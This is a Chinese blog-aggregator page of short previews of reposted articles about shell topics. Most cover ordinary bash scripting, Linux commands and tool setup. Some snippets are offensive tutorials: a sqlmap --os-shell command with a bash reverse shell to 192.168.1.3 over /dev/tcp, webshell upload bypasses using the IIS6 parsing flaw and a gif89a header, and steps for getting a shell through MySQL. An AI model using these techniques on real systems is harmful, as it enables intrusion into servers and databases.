windows提权1.通过sqlmap连接mysql获取shell（1）直接连接数据库sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/mysql”–os-shell（2）通过选择32位或者64位操作系统，获取webshell，执行bash -i >& /dev/tcp/192.168.1.3/80800>&1（3）反弹到
转载
2024-01-11 09:19:49
0阅读
4. 在shell脚本中，使用read命令获取命令行输入shell-read命令选项：-p(指定提示语句)，-n(限定字符个数)，-t(设置等待时间)，-s(不显示)4.1 基本读取read命令接收标准输入（键盘）的输入，或者其他文件描述符的输入。在得到输入之后，read命令把输入数据放入一个标准变量中。下面是read命令的基本形式:# !/bin/bash
转载
2024-06-01 16:42:15
37阅读
本文总结如何使用 shell 命令获取干净的子文件夹目录或子文件目录 1。Updated: 2022 / 8 / 22 Shell | 子文件夹 / 文件目录文件夹ls -d 命令ls -F 命令find -d 命令* 通配符文件ls -1 命令find -f 命令参考链接 文件夹ls -d 命令在 Linux 中，ls 命令默认会列出所给目录下的所有文件名，包括子目录名。 但如果只想列出当前目录
转载
2023-12-18 22:48:59
8阅读
1.直接上传asp asa jsp cer php aspx htr cdx 格式的***，不行就加个空格或是利用IIS6.0解析漏洞，常见格式：1.asp;1.jpg 或 1.asp;.jpg 或 1.asp;jpg2.有时上传图片格式的***，居然被程序检测拦截了，右键记事本打开***，在代码最前面加上gif89a，再数据库备份备份成asp格式的***拿下shell。3.上传图片格式***，复
转载
2024-03-21 09:46:16
126阅读
1) 查出用户UID (/etc/passwd)2）查出用户UID的用户名、UID及shell类型3）查出用户UID的用户名、UID及shell类型并倒序排出 4）查出用户UID最大值的用户名、UID及shell类型cut -d ":" -f 1,3,7 /etc/passwd | sort -nr | head -n1  
转载
2024-04-02 10:37:49
97阅读
linux中用shell获取昨天、明天或多天前的日期:
在Linux中对man date -d 参数说的比较模糊,以下举例进一步说明:
# -d, --date=STRING display time described by STRING, not `now’
[root@Gman root]# date -d next-day +%Y%m%
转载
2011-04-01 10:34:26
6959阅读
Linux操作系统是一款开源的操作系统，广泛应用于服务器和个人电脑中。其中，shell是Linux系统中的一个重要组成部分，它是用户与操作系统内核进行交互的命令行接口。在Linux系统中获取shell权限是一项非常普遍的操作，本文将介绍如何在Linux系统中获取shell权限。
在Linux系统中，root用户拥有最高权限，可以执行系统中的所有操作。但通常情况下，用户并不会使用root用户进行日
原创
2024-02-29 11:46:32
214阅读
1，从网上下载PuTTy和xshell并安装。2， 打开VMware并启动虚拟机，登录root用户并使用ifconfig命令查看IP地址并记牢。 ①打开Putty,在HostName中输入IP地址，根据需求看是否需要更改port，在saved sessions填保存的名称。点击save按钮。然后了解其它选项例如更改scrollback的行数为2000。选中刚才保存的ses
!/bin/sh
upload logs to hdfs
source /etc/profile
获取昨天日期 yyyyMMdd 格式
yesterday=date --date='1 days ago' +%Y%m%d
获取昨天日期 yyyy-MM-dd 格式
yesterday2=date --date='1 days ago' +%Y-%m-%d
获取今天日期 yyyyMMdd 格式
tod
#!/bin/bashmem_total=`free | awk '/Mem/ {print $2}'`mem_used=`free | awk '/Mem/ {print $3}'`echo "mem_total" : ${mem_total},echo "mem_used" : "${mem_used}",
原创
2022-01-12 10:29:08
550阅读
如何实现"mysql 获取shell"
## 1. 流程概述
下面是实现"mysql 获取shell"的整个流程：
| 步骤 | 描述 |
| --- | --- |
| 1 | 确定目标 |
| 2 | 收集目标网站信息 |
| 3 | 查找漏洞 |
| 4 | 利用漏洞获取数据库信息 |
| 5 | 利用数据库信息获取shell |
以下是每个步骤需要做的事情以及相应的代码：
##
原创
2024-02-02 11:53:45
61阅读
## 从Mysql获取Shell
在进行渗透测试或者安全审计时，有时候需要从Mysql数据库中获取Shell以进行后续操作。在本文中，我们将介绍如何通过Mysql数据库获取Shell的方法。
### 1. 创建用户
首先，我们需要在Mysql数据库中创建一个用户，并赋予相应的权限。我们可以使用以下命令来创建一个名为`eviluser`的用户：
```sql
CREATE USER 'evi
原创
2024-03-02 06:33:02
146阅读
文章目录前言获取命令执行结果使用反引号 `` ` ``command `` ` ``来执行命令使用括号组合 $(command) 来执行命令两种方式的区别特殊变量使用$0 $1 $2 ...$$$?$#$*$@测试`$*` 和 `$@` 的区别条件判断`if` 语句格式中括号 `[]` 的作用具体条件文件判断数字判断字符串判断数字判断特殊写法逻辑关系运算符总结 前言最近在处理一个 Python
转载
2023-10-10 08:10:47
173阅读
在shell脚本中的打印输出通常会有echo和printf两种，前者会自动换行。一、echoShell 的 echo 指令与 PHP 的 echo 指令类似，都是用于字符串的输出。您可以使用echo实现更复杂的输出格式控制。1．显示普通字符串: [root@localhost ~]# echo "It is a test"
It is a test
[root@localhost ~]# ech
转载
2023-11-27 06:59:22
295阅读
脚本文件的绝对路径存在了环境变量filepath中，可以用echo $filepath查看完整路径 在shell中：$0: 获取当前脚本的名称$#: 传递给脚本的参数个数$$: shell脚本的进程号$1, $2, $3...：脚本程序的参数
转载
2023-07-02 22:46:44
153阅读
目录获得命令帮助的方法内部命令 help—外部命令的"--help"选项1inux常用命令内部命令;外部命令∶通用的命令行使用格式编辑linux命令行的辅助操作小结 用户通过shell把人的语言转换成计算机语言（二进制语言）传达给内核（也就是系统），内核再调用硬件完成用户的命令。获得命令帮助的方法内部命令 help—查看Shell内部命令的帮助信息外部命令的"--help"选项适用于大多
转载
2024-06-29 18:28:16
46阅读
说明who 查看当前登录用户。（对，他跟w的作用有些类似，但是更全面，他更适合一个复杂的环境，相比简单的环境，他太鸡肋） 相关命令w--查看当前登录用户users--查看当前登录用户学习实例 $who 如图： 解释：shelldir就是当前用户，后面参数估计大家也猜到了，是系统时间和我本机的IP。 帮助信息用法：who [选项]... [ 文件 |
转载
2024-03-29 14:16:28
92阅读
拿计算机的运作状况来解释什么是Shell：在计算机中我们通常是通过指令来控制硬件的工作。在Linux中硬件是如何知道你下达的指令呢？那就是 kernel（核心）的控制工作了。而Shell就是将我们输入的指令与 Kernel 沟通，好让Kernel可以控制硬件来正确无误的工作！ 简单的说：替我们工作的是『硬件』，而控制硬件的是『核心』，我们使用者乃是利用『Sh
转载
2024-06-08 12:27:10
24阅读
概述
ansible 的 shell 模块准别
ansible 控制节点
ansible
2.8.1远程节点
OS
CentOS 7.5无密码登录
已经打通1. 模块概述
ansible 功能的具体实现模块
本质
ansible 携带的 功能模块 lib不同的 模块, 实现了不同的功
转载
2024-03-08 22:45:48
79阅读
Shell 截取字符串通常有两种方式：从指定位置开始截取和从指定字符（子字符串）开始截取。一、从指定位置开始截取，Shell 同时支持从左和从右两种计数方式1.从字符串左边开始计数此方法需要提供位置参数和长度参数，如${string:start:length},string 是要截取的字符串，start 是起始位置（省略的话表示从0开始），length 是要截取的长度（省略的话表示直到字符串的末尾
转载
2024-04-03 21:51:26
55阅读
